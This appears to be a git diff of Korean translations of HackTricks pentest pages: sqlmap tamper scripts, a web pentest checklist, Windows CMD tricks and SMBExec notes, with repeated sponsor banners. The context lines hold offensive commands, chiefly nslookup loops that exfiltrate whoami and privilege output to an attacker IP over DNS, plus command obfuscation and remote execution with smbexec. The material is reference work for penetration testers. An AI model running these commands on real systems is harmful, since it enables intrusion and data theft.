* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 을 공유하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
</details>
{% endhint %}

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -144,7 +144,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
### 부울 주입 찾기
### 부울 주입 찾기 도움말
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
@ -158,48 +158,48 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
```
| Tamper | Description |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | 아포스트로피 문자를 UTF-8 전체 폭 대응 문자로 체합니다. |
| apostrophenullencode.py | 아포스트로피 문자를 불법적인 이중 유니코드 대응 문자로 체합니다. |
| apostrophemask.py | 아포스트로피 문자를 UTF-8 전체 폭 대응 문자로 체합니다. |
| apostrophenullencode.py | 아포스트로피 문자를 불법적인 이중 유니코드 대응 문자로 체합니다. |
| appendnullbyte.py | 페이로드 끝에 인코딩된 NULL 바이트 문자를 추가합니다. |
| base64encode.py | 주어진 페이로드의 모든 문자를 Base64로 인코딩합니다. |
| between.py | '>' 연산자를 'NOT BETWEEN 0 AND #'로 체합니다. |
| bluecoat.py | SQL 문장 뒤의 공백 문자를 유효한 무작위 공백 문자로 대체합니다. 이후 '=' 문자를 LIKE 연산자로 대체합니다. |
| chardoubleencode.py | 주어진 페이로드의 모든 문자를 이중 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). |
| commalesslimit.py | 'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 체합니다. |
| commalessmid.py | 'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 체합니다. |
| concat2concatws.py | 'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 대체합니다. |
| between.py | '>' 연산자를 'NOT BETWEEN 0 AND #'로 체합니다. |
| bluecoat.py | SQL 문장 뒤의 공백 문자를 유효한 무작위 공백 문자로 교체합니다. 이후 '=' 문자를 LIKE 연산자로 교체합니다. |
| chardoubleencode.py | 주어진 페이로드의 모든 문자를 두 번 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). |
| commalesslimit.py | 'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 체합니다. |
| commalessmid.py | 'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 체합니다. |
| concat2concatws.py | 'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 교체합니다. |
| charencode.py | 주어진 페이로드의 모든 문자를 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). |
| charunicodeencode.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). "%u0022" |
| charunicodeescape.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). "\u0022" |
| equaltolike.py | '=' 연산자의 모든 발생을 'LIKE' 연산자로 대체합니다. |
| equaltolike.py | '=' 연산자의 모든 발생을 'LIKE' 연산자로 교체합니다. |
| escapequotes.py | 따옴표 ('와 ")를 슬래시로 이스케이프합니다. |
| greatest.py | '>' 연산자를 'GREATEST' 대응 문자로 대체합니다. |
| greatest.py | '>' 연산자를 'GREATEST' 대응 문자로 교체합니다. |
| halfversionedmorekeywords.py | 각 키워드 앞에 버전이 있는 MySQL 주석을 추가합니다. |
| ifnull2ifisnull.py | 'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 체합니다. |
| ifnull2ifisnull.py | 'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 체합니다. |
| modsecurityversioned.py | 전체 쿼리를 버전이 있는 주석으로 감쌉니다. |
| modsecurityzeroversioned.py | 전체 쿼리를 제로 버전 주석으로 감쌉니다. |
| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. |
| nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 대체에 적합한 표현으로 대체합니다 (예: .replace("SELECT", "") 필터). |
| nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 교체에 적합한 표현으로 교체합니다 (예: .replace("SELECT", "") 필터). |
| percentage.py | 각 문자 앞에 백분율 기호 ('%')를 추가합니다. |
| overlongutf8.py | 주어진 페이로드의 모든 문자를 변환합니다 (이미 인코딩된 것은 처리하지 않음). |
| randomcase.py | 각 키워드 문자를 무작위 대소문자 값으로 체합니다. |
| randomcase.py | 각 키워드 문자를 무작위 대소문자 값으로 체합니다. |
| randomcomments.py | SQL 키워드에 무작위 주석을 추가합니다. |
| securesphere.py | 특별히 제작된 문자열을 추가합니다. |
| sp_password.py | 페이로드 끝에 'sp_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다. |
| space2comment.py | 공백 문자 (' ')를 주석으로 대체합니다. |
| space2dash.py | 공백 문자 (' ')를 대시 주석 ('--')과 무작위 문자열 및 새 줄 ('\n')로 대체합니다. |
| space2hash.py | 공백 문자 (' ')를 파운드 문자 ('#')와 무작위 문자열 및 새 줄 ('\n')로 대체합니다. |
| space2morehash.py | 공백 문자 (' ')를 파운드 문자 ('#')와 무작위 문자열 및 새 줄 ('\n')로 대체합니다. |
| space2mssqlblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
| space2mssqlhash.py | 공백 문자 (' ')를 파운드 문자 ('#')와 새 줄 ('\n')로 대체합니다. |
| space2mysqlblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
| space2mysqldash.py | 공백 문자 (' ')를 대시 주석 ('--')과 새 줄 ('\n')로 대체합니다. |
| space2plus.py | 공백 문자 (' ')를 더하기 기호 ('+')로 대체합니다. |
| space2randomblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
| symboliclogical.py | AND 및 OR 논리 연산자를 그들의 기호 대응 문자 (&& 및 ||)로 대체합니다. |
| unionalltounion.py | UNION ALL SELECT를 UNION SELECT로 대체합니다. |
| unmagicquotes.py | 따옴표 문자 (')를 다중 바이트 조합 %bf%27로 체하고 끝에 일반 주석을 추가합니다 (작동하게 하기 위해). |
| uppercase.py | 각 키워드 문자를 대문자 값 'INSERT'로 대체합니다. |
| sp\_password.py | 페이로드 끝에 'sp\_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다. |
| space2comment.py | 공백 문자 (' ')를 주석으로 교체합니다. |
| space2dash.py | 공백 문자 (' ')를 대시 주석 ('--')으로 교체하고 무작위 문자열과 새 줄 ('\n')을 추가합니다. |
| space2hash.py | 공백 문자 (' ')를 파운드 문자 ('#')로 교체하고 무작위 문자열과 새 줄 ('\n')을 추가합니다. |
| space2morehash.py | 공백 문자 (' ')를 파운드 문자 ('#')로 교체하고 무작위 문자열과 새 줄 ('\n')을 추가합니다. |
| space2mssqlblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 교체합니다. |
| space2mssqlhash.py | 공백 문자 (' ')를 파운드 문자 ('#')로 교체하고 새 줄 ('\n')을 추가합니다. |
| space2mysqlblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 교체합니다. |
| space2mysqldash.py | 공백 문자 (' ')를 대시 주석 ('--')으로 교체하고 새 줄 ('\n')을 추가합니다. |
| space2plus.py | 공백 문자 (' ')를 더하기 기호 ('+')로 교체합니다. |
| space2randomblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 교체합니다. |
| symboliclogical.py | AND 및 OR 논리 연산자를 그들의 기호 대응 문자 (&& 및 ||)로 교체합니다. |
| unionalltounion.py | UNION ALL SELECT를 UNION SELECT로 교체합니다. |
| unmagicquotes.py | 따옴표 문자 (')를 다중 바이트 조합 %bf%27로 체하고 끝에 일반 주석을 추가합니다 (작동하게 하기 위해). |
| uppercase.py | 각 키워드 문자를 대문자 값 'INSERT'로 교체합니다. |
| varnish.py | HTTP 헤더 'X-originating-IP'를 추가합니다. |
| versionedkeywords.py | 각 비함수 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. |
| versionedmorekeywords.py | 각 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. |
@ -207,23 +207,23 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요.
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS 해킹 배우 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하세요.**
</details>
{% endhint %}

View file

@ -10,21 +10,21 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 을 공유하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
**실제 비즈니스에 영향을 미치는 치명적이고 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
모든 웹 펜테스트에는 **취약할 수 있는 여러 숨겨진 장소와 명백한 장소가 있습니다**. 이 게시물은 가능한 모든 장소에서 취약점을 검색했는지 확인하기 위한 체크리스트입니다.
모든 웹 펜테스트에는 **취약할 수 있는 여러 숨겨진 장소와 명백한 장소가 있습니다.** 이 게시물은 가능한 모든 장소에서 취약점을 검색했는지 확인하기 위한 체크리스트입니다.
## 프록시
@ -45,19 +45,19 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
{% hint style="info" %}
대부분의 웹 애플리케이션은 **사용자가 나중에 처리될 데이터를 입력할 수 있도록 허용합니다.**\
데이터의 구조에 따라 서버가 기대하는 취약점이 적용될 수도 있고 그렇지 않을 수도 있습니다.
데이터의 구조에 따라 서버가 기대하는 경우 일부 취약점이 적용될 수도 있고 그렇지 않을 수도 있습니다.
{% endhint %}
### **반사된 값**
입력된 데이터가 응답에 반영될 수 있다면, 페이지는 여러 문제에 취약할 수 있습니다.
입력된 데이터가 응답에 반영될 수 있는 경우, 페이지는 여러 문제에 취약할 수 있습니다.
* [ ] [**클라이언트 측 템플릿 주입**](client-side-template-injection-csti.md)
* [ ] [**명령 주입**](command-injection.md)
* [ ] [**CRLF**](crlf-0d-0a.md)
* [ ] [**덩글링 마크업**](dangling-markup-html-scriptless-injection/)
* [ ] [**파일 포함/경로 탐색**](file-inclusion/)
* [ ] [**열린 리디렉션**](open-redirect.md)
* [ ] [**열린 리다이렉트**](open-redirect.md)
* [ ] [**프로토타입 오염을 통한 XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
* [ ] [**서버 측 포함/엣지 측 포함**](server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**서버 측 요청 위조**](ssrf-server-side-request-forgery/)
@ -76,7 +76,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
### **검색 기능**
기능이 백엔드 내에서 어떤 종류의 데이터를 검색하는 데 사용될 수 있다면, 이를 (악용)하여 임의의 데이터를 검색할 수 있습니다.
기능이 백엔드 내에서 어떤 종류의 데이터를 검색하는 데 사용될 수 있는 경우, 이를 (악용)하여 임의의 데이터를 검색할 수 있습니다.
* [ ] [**파일 포함/경로 탐색**](file-inclusion/)
* [ ] [**NoSQL 주입**](nosql-injection.md)
@ -104,7 +104,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
### **우회**
일부 특정 기능에서는 우회할 수 있는 몇 가지 방법이 유용할 수 있습니다.
일부 특정 기능에서는 우회할 수 있는 몇 가지 해결 방법이 유용할 수 있습니다.
* [ ] [**2FA/OTP 우회**](2fa-bypass.md)
* [ ] [**결제 프로세스 우회**](bypass-payment-process.md)
@ -117,7 +117,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
### **구조화된 객체 / 특정 기능**
일부 기능은 **데이터가 매우 특정한 형식으로 구조화되어야** 합니다 (예: 언어 직렬화 객체 또는 XML). 따라서 애플리케이션이 해당 유형의 데이터를 처리해야 하므로 취약점을 식별하기가 더 쉽습니다.\
일부 기능은 **데이터가 매우 특정한 형식으로 구조화되어야** 합니다 (예: 언어 직렬화 객체 또는 XML). 따라서 애플리케이션이 해당 종류의 데이터를 처리해야 하므로 취약점을 식별하기가 더 쉽습니다.\
일부 **특정 기능**은 **특정 형식의 입력이 사용될 경우** 취약할 수 있습니다 (예: 이메일 헤더 주입).
* [ ] [**역직렬화**](deserialization/)
@ -129,7 +129,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
파일 업로드를 허용하는 기능은 여러 문제에 취약할 수 있습니다.\
사용자 입력을 포함한 파일을 생성하는 기능은 예기치 않은 코드를 실행할 수 있습니다.\
사용자가 업로드한 파일이나 사용자 입력을 포함한 자동 생성된 파일을 열면 위험에 처할 수 있습니다.
사용자가 업로드한 파일이나 사용자 입력을 포함한 자동 생성된 파일을 열면 손상될 수 있습니다.
* [ ] [**파일 업로드**](file-upload/)
* [ ] [**수식 주입**](formula-csv-doc-latex-ghostscript-injection.md)
@ -153,7 +153,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
**실제 비즈니스에 영향을 미치는 치명적이고 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
@ -170,7 +170,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 을 공유하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
</details>
{% endhint %}

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -50,7 +50,7 @@ Some env variables to highlight:
* **USERNAME:** 사용자 이름
* **HOMEPATH/USERPROFILE:** 홈 디렉토리
* **windir:** C:\Windows
* **OS**: Windows OS
* **OS**: 윈도우 OS
* **LOGONSERVER**: 도메인 컨트롤러 이름
* **USERDNSDOMAIN**: DNS와 함께 사용할 도메인 이름
* **USERDOMAIN**: 도메인 이름
@ -62,7 +62,7 @@ nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername
```
### [Defender](authentication-credentials-uac-and-efs/#defender)
### [디펜더](authentication-credentials-uac-and-efs/#defender)
### 휴지통
```bash
@ -334,7 +334,7 @@ who^ami #whoami
```
### DOSfuscation
CMD 라인을 난독화합니다.
혼란스러운 CMD 라인을 생성합니다.
```powershell
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
@ -359,7 +359,7 @@ sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passi
```
#### 피해자
**`for /f tokens`** 기법: 이를 통해 명령을 실행하고 각 줄의 첫 번째 X 단어를 가져와 DNS를 통해 서버로 전송할 수 있습니다.
**`for /f tokens`** 기법: 이를 통해 명령을 실행하고 각 줄의 첫 번째 X 단어를 가져와 DNS를 통해 우리의 서버로 전송할 수 있습니다.
```bash
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
@ -369,7 +369,7 @@ for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_ka
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
```
출력을 **리다이렉트**하고, 그 다음 **읽을** 있습니다.
출력을 **리다이렉트**하고, 그 다음 **읽을** 수 있습니다.
```
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
@ -391,7 +391,7 @@ return 0;
```
## Alternate Data Streams CheatSheet (ADS/Alternate Data Stream)
**예제는** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**에서 가져왔습니다! 더 많은 내용이 있습니다!**
**예제는** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**에서 가져왔습니다! 더 많은 예제가 있습니다!**
```bash
## Selected Examples of ADS Operations ##
@ -419,9 +419,9 @@ powershell -ep bypass - < c:\temp:ttt
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
@ -29,15 +29,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
### **SMBExec**에 대한 주요 사항
- 명령을 cmd.exe (%COMSPEC%)를 통해 실행하기 위해 대상 머신에 임시 서비스를 생성하여 작동합니다(예: "BTOBTO"), 이진 파일을 드롭하지 않습니다.
- 명령을 cmd.exe (%COMSPEC%)를 통해 실행하기 위해 대상 머신에 임시 서비스를 생성하여 작동합니다(예: "BTOBTO"). 이 과정에서 이진 파일을 떨어뜨리지 않습니다.
- 은밀한 접근 방식에도 불구하고, 실행된 각 명령에 대한 이벤트 로그를 생성하여 비대화형 "셸"의 형태를 제공합니다.
- **Smbexec**를 사용하여 연결하는 명령은 다음과 같습니다:
```bash
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
```
### 이진 파일 없이 명령 실행
### 이진 파일 없이 명령 실행하기
- **Smbexec**는 서비스 binPaths를 통해 직접 명령 실행을 가능하게 하여, 대상에 물리적 이진 파일이 필요하지 않습니다.
- **Smbexec**는 서비스 binPaths를 통해 직접 명령 실행을 가능하게 하여, 대상에 물리적 이진 파일이 필요 없게 합니다.
- 이 방법은 Windows 대상에서 일회성 명령을 실행하는 데 유용합니다. 예를 들어, Metasploit의 `web_delivery` 모듈과 결합하면 PowerShell을 대상으로 하는 역 Meterpreter 페이로드를 실행할 수 있습니다.
- cmd.exe를 통해 제공된 명령을 실행하도록 binPath가 설정된 원격 서비스를 공격자의 머신에서 생성함으로써, 서비스 응답 오류가 발생하더라도 Metasploit 리스너와 함께 콜백 및 페이로드 실행을 성공적으로 수행할 수 있습니다.
@ -55,7 +55,7 @@ FOr further details check [https://blog.ropnop.com/using-credentials-to-own-wind
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**해커의 관점에서 웹 앱, 네트워크 및 클라우드를 분석하세요.**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
@ -71,7 +71,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}